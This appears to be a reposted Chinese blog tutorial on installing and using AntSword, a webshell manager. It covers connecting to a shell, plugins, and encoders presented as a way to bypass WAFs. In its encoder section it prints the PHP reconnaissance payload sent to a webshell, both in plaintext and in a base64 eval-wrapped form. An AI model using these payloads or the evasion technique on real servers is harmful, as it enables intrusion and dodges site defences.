中国蚁剑出现javascript 中国蚁剑怎么连接

转载

mob64ca14133dc6 2024-08-21 17:07:52

文章标签 中国蚁剑出现javascript 编码器 ci 加载器 文章分类 JavaScript 前端开发

一、中国蚁剑下载、安装

中国蚁剑出现javascript 中国蚁剑怎么连接_中国蚁剑出现javascript

百度网盘链接：https://pan.baidu.com/s/1Fl0_hFtCtfUgcNIOwKeGEA 提取码：nvjc

共包含2个文件：
antSword.zip
AntSword-Loader-v4.0.3-win32-x64.zip

由于我下载的是“AntSword-Loader-v4.0.3-win32-x64.zip”，我就以Windows版本64位来示例了。

1、我们解压“AntSword-Loader-v4.0.3-win32-x64.zip”后，双击“AntSword.exe”；

中国蚁剑出现javascript 中国蚁剑怎么连接_中国蚁剑出现javascript_02

第一次安装项目需要先初始化，如果你已经下载了核心源码，就选择项目源码的文件夹。（如果只下载了加载器，选择一个空文件夹，加载器会自动帮你下载核心项目源码）。

注意：这个项目文件夹就是你以后需要备份的，存储着你的shell和shell内的资料。

2、等初始化完成后，再双击“AntSword.exe”即可正常启动！

中国蚁剑出现javascript 中国蚁剑怎么连接_加载器_03

二、蚁剑的使用

1、添加一个shell

首先：右键单击 - 添加数据；

中国蚁剑出现javascript 中国蚁剑怎么连接_ci_04

其次：输入URL地址，连接密码以及编码设置。PHP语言推荐编辑器使用chr加密；

中国蚁剑出现javascript 中国蚁剑怎么连接_加载器_05

再次：如果需要自己写编码器的加密类型，可以按下图来操作：

中国蚁剑出现javascript 中国蚁剑怎么连接_加载器_06

还可以配置shell的请求信息和post内容；

中国蚁剑出现javascript 中国蚁剑怎么连接_编码器_07

最后：还可以配置全局代理；

中国蚁剑出现javascript 中国蚁剑怎么连接_中国蚁剑出现javascript_08

中国蚁剑出现javascript 中国蚁剑怎么连接_ci_09

2、插件

中国蚁剑有一个插件市场（ctrl+shift+p），可以安装一些插件，插件有很多。以下是部份插件截图：

中国蚁剑出现javascript 中国蚁剑怎么连接_中国蚁剑出现javascript_10

3、关于编码器

编码器是这个程序的过人之处，用编码器加密可以轻松绕过WAF。

不妨，我们来对比一下默认不使用编码传输和base64编码传输的区别：

base64编码

中国蚁剑出现javascript 中国蚁剑怎么连接_ci_11

明文传输，post内容为：

ant=@ini_set("display_errors", "0");@set_time_limit(0);echo "3e231";$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="    ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="    {$s}";echo $R;;echo "8e51f";die();

base64加密传输，post内容为：

_0x4ee8506e59871=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiNzk1ODAiOyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk/JHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOztlY2hvICIwOWE3ZSI7ZGllKCk7&ant=@eval（@base64_decode($_POST[_0x4ee8506e59871]));

注意：其中，ant参数名称是shell密码。

再来看看chr编码传输，完全就全部编码了。

中国蚁剑出现javascript 中国蚁剑怎么连接_中国蚁剑出现javascript_12